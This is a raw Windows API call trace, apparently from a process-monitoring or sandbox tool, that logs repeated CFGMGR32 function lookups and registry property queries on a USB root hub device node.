0x7ffb1ceee8a0 [0226.704] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.707] malloc (_Size=0x18) returned 0x20abc281b00 [0226.707] CM_Get_Device_IDA (in: dnDevInst=0xf, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\ROOT_HUB\\4&B24102A&0") returned 0x0 [0226.707] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x42e544d9, dwHighDateTime=0x1d9eb0c)) [0226.707] SetEvent (hEvent=0x248) returned 1 [0226.807] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.807] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.810] malloc (_Size=0x18) returned 0x20abc281b20 [0226.810] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0226.811] malloc (_Size=0xa0) returned 0x20abc2a7e80 [0226.811] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a7e80, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a7e80, pulLength=0x2dc22fd3f8) returned 0x0 [0226.812] free (_Block=0x20abc2a7e80) [0226.812] malloc (_Size=0x48) returned 0x20abc2ab7c0 [0226.812] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x42f3e304, dwHighDateTime=0x1d9eb0c)) [0226.812] SetEvent (hEvent=0x248) returned 1 [0226.815] malloc (_Size=0x18) returned 0x20abc281ee0 [0226.815] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0226.816] free (_Block=0x20abc281ee0) [0226.816] malloc (_Size=0x18) returned 0x20abc281a80 [0226.816] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0226.816] free (_Block=0x20abc281a80) [0226.816] malloc (_Size=0x18) returned 0x20abc2819c0 [0226.816] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0226.816] free (_Block=0x20abc2819c0) [0226.816] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cef0 [0226.816] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0226.816] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0226.816] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0226.816] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79bb0 [0226.816] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0226.816] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0226.816] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0226.817] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0226.817] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93450, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0226.817] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93458, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0226.818] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93460, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0226.818] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79bb0) returned 1 [0226.818] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cef0) returned 1 [0226.819] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.819] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.821] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.821] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.821] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.821] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.821] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.822] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.822] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.822] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.822] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.822] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.822] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.823] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.823] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.823] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.823] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.823] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.824] malloc (_Size=0x18) returned 0x20abc282000 [0226.824] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0226.824] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.824] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x42f5f470, dwHighDateTime=0x1d9eb0c)) [0226.825] SetEvent (hEvent=0x248) returned 1 [0226.828] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.828] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.832] malloc (_Size=0x18) returned 0x20abc2820c0 [0226.832] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.836] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42f85649, dwHighDateTime=0x1d9eb0c)) [0226.837] SetEvent (hEvent=0x248) returned 1 [0226.840] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.840] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.844] malloc (_Size=0x18) returned 0x20abc282040 [0226.844] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.845] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42fab5a1, dwHighDateTime=0x1d9eb0c)) [0226.845] SetEvent (hEvent=0x248) returned 1 [0226.958] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.958] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.959] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.959] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.959] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.959] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.959] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.959] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.962] malloc (_Size=0x18) returned 0x20abc2820c0 [0226.962] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.963] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x430b6602, dwHighDateTime=0x1d9eb0c)) [0226.963] SetEvent (hEvent=0x248) returned 1 [0226.966] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.966] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.970] malloc (_Size=0x18) returned 0x20abc281ec0 [0226.970] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.971] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.971] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x430dcade, dwHighDateTime=0x1d9eb0c)) [0226.971] SetEvent (hEvent=0x248) returned 1 [0226.977] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.977] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 